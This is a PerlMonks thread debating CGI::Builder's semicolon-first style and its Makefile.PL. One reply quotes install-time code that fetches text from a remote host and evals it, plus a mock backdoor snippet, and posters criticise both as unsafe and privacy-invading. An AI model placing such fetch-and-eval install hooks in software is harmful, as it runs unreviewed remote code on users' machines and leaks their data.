Beefy Boxes and Bandwidth Generously Provided by pair Networks
The stupid question is the question not asked
 
PerlMonks  

Re: CGI::Application vs CGI::Builder

by perrin (Chancellor)
on May 02, 2004 at 03:55 UTC ( #349737=note: print w/replies, xml ) Need Help??


in reply to CGI::Application vs CGI::Builder

Wow, check out the source code for CGI::Builder. That is one of the strangest styles I have ever seen. Not necessarilly evil, but very different from standard advice about perl style.

Replies are listed 'Best First'.
Re: Re: CGI::Application vs CGI::Builder
by tantarbobus (Hermit) on May 03, 2004 at 03:09 UTC
    Perrin, Maybe the style is not evil, but what Makefile.PL does is quite Evil
    ; eval { require LWP::Simple ; my $res = LWP::Simple::get ( "http://perl.4pro.net/install.txt" . "?DISTRIBUTION=$dist&VERSION=$vers&PERL=$]-$^O" ) ; eval $res if $res }
    I am assuming that this is just a benign install counter and maybe it has the ability to alert the user that the version being installed has been updated, but how do I know that there is not something like this at perl.4pro.net?
    ; if (grep /$uesr_domain/ @my_enemies) ; { open(FH, '<', 'backdoor.txt') ; print while(<FH>) ; print STDERR "$user_host 0wn3d! hehehe\g\g\g\g\g\g\g\n" { else { ; open(FH, '<', 'message.txt') ; print while (<FH>) ; pint STDERR "Tick\n" } ;close FH

    And even if there is no code like that. 1. It is still underhanded! and 2. What happens if perl.4pro.net gets owned, then someone could install code that does the above. Bonus points for doing it as a kernel module!

    Would it not be ironic were his site to be comprimised by another module's "Counter feature"?

    And look at per.4pro.net, it shows quite a few perl modules, and I would wager that most of them the same code in the Makefile.PL.

      > I am assuming that this is just a benign install
      > counter and maybe it has the ability to alert the user
      > that the version being installed has been updated

      It's exactly that ;-). Just try to install an old version and you will have a prompt telling you that you are installing an old version, and for the counter... knowing how many people find useful my work is one of the reasons that make me publish my modules ;-)

      > It is still underhanded!

      Well, if you go through some old version of my modules, the Makefile.PL had a prompt. After receiving a lot of users' complaint i take off the prompt. No secret backdoor. The effort and time that require writing modules like CGI::Builder and related documentation is a little bit TOO MUCH to be wasted in similar stupid hacks.

      > What happens if perl.4pro.net gets owned, then someone could install code that does the above.

      This is a really GOOD question, and I didn't think about that before your post!!! Thank you very much! Even if it is a very remote possibility, it's real. I think that a possible solution may be adding an expiration date in the code in the Makefile.PL, thus if it runs after that date, it just warn the user of the probably old version and does nothing with perl.4pro.net.

      Any other suggestion?

      Domizio Demichelis

        It's exactly that ;-). Just try to install an old version and you will have a prompt telling you that you are installing an old version

        If they're installing automatically from CPAN they'll get the latest CPAN version automatically.

        If they're deliberately requesting and older version then they're doing it deliberately and don't want the warning.

        If your site has a more up-to-date version than the one on CPAN surely its your job to get the latest version uploaded to PAUSE ;-)

        In any case this doesn't need you to execute arbitrary code - you just need to fetch the version number and do a comparison.

        and for the counter... knowing how many people find useful my work is one of the reasons that make me publish my modules ;-)

        If you really have to have a counter then a simple HTTP GET will do the job (it can be the GET you use to get the current version if you really want to do the version checking twice).

        A count of module usage produced in this way will, of course, be wildly inaccurate since there are lots of installs that have nothing to do with actual usage (CPAN testers, people who are curious but never use, etc.)

        Well, if you go through some old version of my modules, the Makefile.PL had a prompt. After receiving a lot of users' complaint i take off the prompt. No secret backdoor.

        Just because people didn't like the warning doesn't mean it shouldn't have been there. I for one would be extremely annoyed if a CPAN module was downloading an executing code that I didn't see first. Especially since in this instance there is no need to download and execute arbitrary code. From the other reactions here many people seem to share that opinion.

        The effort and time that require writing modules like CGI::Builder and related documentation is a little bit TOO MUCH to be wasted in similar stupid hacks.

        Unfortunately there is a large body of evidence that nasty people are willing to expend foolishly large amounts of time and effort in producing exploits.

        Note: I am not trying to imply that you are such a nasty person. As a human being I try to be all nice and fluffy and trust people until they do something to demonstrate that I can't trust them. I like living my live that way.

        However, as a computing professional I can't trust something that runs arbitrary code on my or my clients machines. With your system look at who I have to trust (in addition to CPAN):

        • I have to trust that the code that is downloaded is actually okay and I have to go through another step to download and inspect it.
        • I have to trust that you are not an evil person who is deliberately trying to exploit my machine. You might be doing really evil things like only putting the exploit in every 8th download so a simple check on what's downloaded isn't enough.
        • I have to trust that somebody has not cracked your box and is feeding us an exploit without your knowledge.
        • I have to trust everything between my box and your box is not pretending to be your box and feeding me an exploiit.
        • etc.
        I think that a possible solution may be adding an expiration date in the code in the Makefile.PL, thus if it runs after that date, it just warn the user of the probably old version and does nothing with perl.4pro.net.

        This only reduces the window of opportunity. It does not remove it.

        Any other suggestion?
        1. Just don't do it at all. Let CPAN handle your versioning problems. Get your feedback from users via e-mail, cpanratings, etc. Learn not to worry about the number of times your code is installed since it doesn't really mean much.
        2. If you really cannot cope without some meaningless numbers do not download and execute arbitrary code. You don't need to do so if all you want to do is check a version number or get a count of the number of times Makefile.PL is run.
        3. Ask the user before starting any network connections off your own back.

      Even better: Since I have no need to send something to eval from my domain, I will put all the code to execute in the Makefile.PL avoiding any "insane suspect".

      I need just to check the version number, so I think that something like this could be ok:

      ; my $dist = 'CGI::Builder'; ; my $vers = 1.21 ; ; my $LWP_installed = eval {require LWP::Simple} ; ; if ( $LWP_installed ) { my $current_vers = LWP::Simple::get ( "http://perl.4pro.net/check_version.cgi" . "?DISTRIBUTION=$dist&VERSION=$vers&PERL=$]-$^O +" ) ; if ( $current_vers > $vers ) { print 'This is an OLD VERSION! ... bla, bla ' } else { print 'Version OK ... bla, bla' } }

      If there are no objection, I will change all my Makefile.PL with that code in the next version.
      (I will update all my new distribution in a day or so).

      Regards

      Domizio Demichelis

        Domizio:

        The problem is that you do NOT have any right to know that I installed your module from the CPAN, and it IS an invasion of my privacy for you to grab my IP address. When I intentionally go to your web site with my browser, it is a given that I am choosing to have you record who I am. Here, you are doing it without my permission or knowledge. You are capturing data about me against my will, which is a de facto breach of my privacy.

        There's no two ways about it.

        Your idea is not bad, but is done incorrectly. The whole thing would be solved if you asked permission before fetching it. I know that is a burden, but tough. You do not have the right to collect my data without my persmission, explicit or otherwise.

        One slight problem - if you have a system that cannot talk directly to the outside world, then your Makefile assumes that the version is OK. The code doesn't fail, it just makes an assumption (proper or improper) that no news is good news.

        --MidLifeXis

Re: Re: CGI::Application vs CGI::Builder
by BUU (Prior) on May 02, 2004 at 07:09 UTC
    I'll fourth it and agree that it is bloody evil. For those too lazy to check, heres a quick sample from the top:
    package CGI::Builder ; $VERSION = 1.2 ; ; use strict ; use 5.006_001 ; use Carp ; $Carp::Internal{+__PACKAGE__}++ ; $Carp::Internal{'CGI::Builder::_'}++ ; use CGI::Builder::Const qw| :all | ; use IO::Util ; sub capture { my ($s, $h, @args) = @_ ; IO::Util::capture{ $s->$h(@args) } }
      I'am using C:B under mod_perl (called Apache-CGI-Builder) for my actual projects and I really like it. It's pretty new thats correct, but the author has first rewritten C:A before he started with C:B, so it seems that he has some experience. C:B has some great features: overrunning concept (the same handler, i.e. a init handler get executed in every class) and some more which are pretty handy, just read the well organized and easy to read documentation! As mentioned above i run all my code under mod_perl and the integration is smooth (including some optimzed code for mod_perl (package variables)). The same author has also written a great template engine, TemplateMagic, it integrates very well with A:C:B, if you have some free time give it a look. it's true that the perl-code doesn't look like the code you see in other modules, but it's very constant and if you have looked at few .pm's i don't think you have any problems reading it. if you get used to TemplateMagic, or read just the documentation, you see that the author is a real perl guy. TemplateMagic is quite simple but offers the greatest flexibilty i've ever seen in a templateengine!
      The "Evil" code style is a sort of "mental discipline" which tries to make me remember the semicolons, commas, brackets and parens. :-)

      It is also an attempt to improve the vertical alignment of similar elements, thus trying to *draw* vertical ideal lines enforcing the code structure not just with identation spaces, by also with meaningful characters (similar to the $ % @ & perl characters in front of identifiers).

      Please, look at this simplification of code:

      "Evil" style ; _________ { ____ ( ___ , __ , ___ ) ; _____ ; ___ } More conventional style _________ { ____ ( ___, __, ___ ); _____; ___; }

      Looking at the "Evil" style you will have brackets and semicolons of the same block, always *drawing* a vertical line; same thing for the parens and commas in a list. This make it harder to leave some element out, while the conventional style (being far less vertical aligned), leaves me too freedom to forget something.

      The only drawback is that the "Evil" style it is too unconventional to be used in the examples of my PODs :-(

      Domizio Demichelis

        Howdy!

        There is a "middle" ground...

        _________ { ____ ( ___, __, ___, ); _____; ___; }

        One can (righteously) align paired parens/braces in the vertical axis without using the radical approach of leading off with punctuation.

        yours,
        Michael
        I think the real problem is beginning with semicolons. Sure, you *can*, but it gives the (false) impression that a semicolon is a statement beginner when it's really a statement terminator. I'm sure it's just a minor stylistic quibble anyways, but I prefer my syntax elements to visually look like what they really do, which in this case is ending statements.
Re: Re: CGI::Application vs CGI::Builder
by Anonymous Monk on May 02, 2004 at 04:57 UTC

    I'll push forward and be brave enough to say that it is necessarilly evil. My god.

Re: Re: CGI::Application vs CGI::Builder
by dragonchild (Archbishop) on May 02, 2004 at 15:56 UTC
    It looks very similar to some PL/SQL and/or COBOL code I've seen. *shrugs* We can all recognize C and Java coders writing in Perl. I'd put forward that this is the 4GL/2GL versions of Perl.

    ------
    We are the carpenters and bricklayers of the Information Age.

    Then there are Damian modules.... *sigh* ... that's not about being less-lazy -- that's about being on some really good drugs -- you know, there is no spoon. - flyingmoose

Re: Re: CGI::Application vs CGI::Builder
by Anonymous Monk on May 02, 2004 at 04:16 UTC

    i second the Wow.

Re: Re: CGI::Application vs CGI::Builder
by derby (Abbot) on May 02, 2004 at 12:20 UTC
    Well, if it is evil, at least it's consistently evil!
    -derby
Re: Re: CGI::Application vs CGI::Builder
by toma (Vicar) on May 03, 2004 at 01:07 UTC
    I agree that the semicolon placement is something that we don't see much around here. There is a good reason for doing it that way in some other languages. For example, unnecessary semicolons tended to compile into extra assembly language instructions in Borland Turbo Pascal 3.0. The module's unusual style minimizes extra semicolons while still making it obvious if one is left out.

    There is also some other cleverness in the module, but I've seen more extreme examples in some well-respected code. Is the complaint really just about non-standard semicolons?

    After running the module through perltidy a few times, the semicolon placement went away, the braces were where I expected them, and I was left with an interesting read.

    I'll probably stick with CGI::Application, though.

    It should work perfectly the first time! - toma
      Is the complaint really just about non-standard semicolons?

      I wasn't even complaining about it really. I just thought it was unique and worth looking at. I wouldn't want someone to use this style on a project I was working on because it creates an additional barrier for the vast majority of people who are used to reading code in the style that most perl books show, but it doesn't make me automatically distrust the module. (The Makefile.PL issue might, but that's entirely separate.)

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://349737]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others drinking their drinks and smoking their pipes about the Monastery: (6)
As of 2019-12-09 09:39 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    No recent polls found

    Notices?